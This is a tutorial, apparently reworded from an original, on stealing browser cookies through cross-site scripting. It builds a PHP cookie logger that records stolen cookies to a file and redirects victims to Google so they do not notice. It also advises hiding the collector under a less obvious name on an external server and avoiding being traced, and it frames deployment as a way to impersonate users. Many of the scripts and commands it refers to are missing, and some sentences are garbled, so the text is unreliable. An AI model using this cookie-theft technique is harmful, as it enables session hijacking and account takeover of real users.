Cookies are information that a website requests or maintains regarding specific users who visit the site. These cookies contain information about how and when they visit, as well as authentication information for the website such as usernames and passwords. Since these cookies must be used whenever a visitor visits a certain website, an attacker can steal this information and use it to impersonate or catalog information about specific users. .
While I’m not advocating stealing anyone’s passwords, this article is a must-know for any pentester or IT security professional. If you don’t know how black hat hackers work, you will never be able to catch them.
Step 1: Create an HTML page for testing
Next, access this directory with the cd command:
Once inside this directory, we can create our index file with the touch . command
Next, we will also edit this index. First, open the file with nano.
We can save this file by pressing Ctrl + O in nano. At this point, if we open it in a web browser, our page will be blank. We could add a title element or some basic HTML content, but for this test this is enough.
Step 2: Create Cookies
We can create a basic parameter to be inserted in the cookie using only a single string. This cookie will persist only in this page, and similarly, the technique used to render cookies will later apply to any cookies stored in the page where the script was run or entered.
This script should be inserted in the “body” section of the HTML file, like below.
If the website with this script is open, a cookie will be set, but nothing will be displayed in the browser. We can dump cookies directly into the page itself using the “document.write” function. This won’t do much for exporting cookies to the user, but it can help us understand the format in which the cookie technique works. We can add the following line to our script to test.
Our script should now look like the one below.
When opened in the browser, it should look like the image below.
We have now successfully set “username=Null Byte” as the cookie for this page. Now we can delete “document.write (document.cookie);” functionality of the script, as we will instead forward cookies retrieved from the targeted user’s page to a standalone page where we can write and store them.
In this example, the PHP file is located on the local machine, or local server, at 127.0.0.1. In a practical example of this technique, it should be towards a file hosted on a web server that can be output to outside the local network or local machine.
If someone is targeting a social media site, the script is injected into that website and the stolen cookies are sent to an IP or URL of a server controlled by the hacker.
For testing purposes, we can host the file locally using PHP’s test server module.
The HTML page code should now look like the image below.
Step 4: Handling Cookies with PHP
This much should be enough for this test implementation, but in real life the PHP file would be better served with a less obvious name and located at the external IP or URL.
First, create a new PHP file in the same directory as the index.html file. You can do so by typing the following command.
After adding the PHP opening and closing brackets, the first element we want to define is the redirect location, like in this example.
<?php header ('Location:https://google.com'); ?>
We define this as “Location” followed by “header,” in this case “https://google.com.” It can be set to anything you want, as long as it’s an address that can be handled by a web browser. To limit the risk of users becoming aware of an attack, it’s best to redirect them to a relevant page so that they won’t be alert or get stuck in an infinite loop of script running back and forth.
With the user redirect, we can add additional code to handle the cookie. First, we will specify the cookie carried by the URL variable.
$cookies = $_GET["c"];
Next, we will define the file in which the cookie will be saved to the server we control. In the example below, the file is named “log.txt.”
$file = fopen('log.txt', 'a');
Finally, we will combine the variables defined in the two strings above to write the contents of the variable, the cookie, to the log file.
fwrite($file, $cookies . "\n\n");
Our code should now be similar to the image below.
We are ready to prepare the test environment for PHP code.
Step 5: Check for Cookie Stealers
The PHP version is available on most Linux distributions and Unix operating systems. This server module is small, limited and not suitable for live deployment, but very light and efficient for testing PHP code.
From within the same directory as the index.html and cookiestealer.php files, we can launch a PHP test server from the command line by typing the following.
php -S 127.0.0.1:80
This test server now allows us to test by opening “127.0.0.1” in a web browser on the same machine.
After opening this page, our browser will almost immediately go to the website to which we have defined the redirect, in this case, Google.
If we look at our PHP server logs, we will notice that an argument has been passed to the PHP file and the PHP code has been executed.
Finally, we can retrieve the cookie by examining the “log.txt” file in the website directory. We can watch using the cat command.
Step 6: Deploy the attack
This attack is extremely valuable for damaging and obtaining user credentials in any case where you can inject code into a website where the user is using cookies. Cookies often contain important user information in plain text and often contain private keys that can be used to impersonate or log in as the user.
This attack can be deployed anywhere an HTML script tag can be inserted. A common test method to check XSS Vulnerability on web forms is to use a simple “alert” command like the one below.
This script will open an alert box like below. If it opens, the site will be vulnerable to XSS attacks.
In a direct attack, a hacker would be careful with how the PHP script is stored. If done improperly, the origin of the PHP file can be easily traced back to hackers. If an attack like this is detected, then to identify the attacker you need to try to find information about where the stolen cookies are being sent and stored.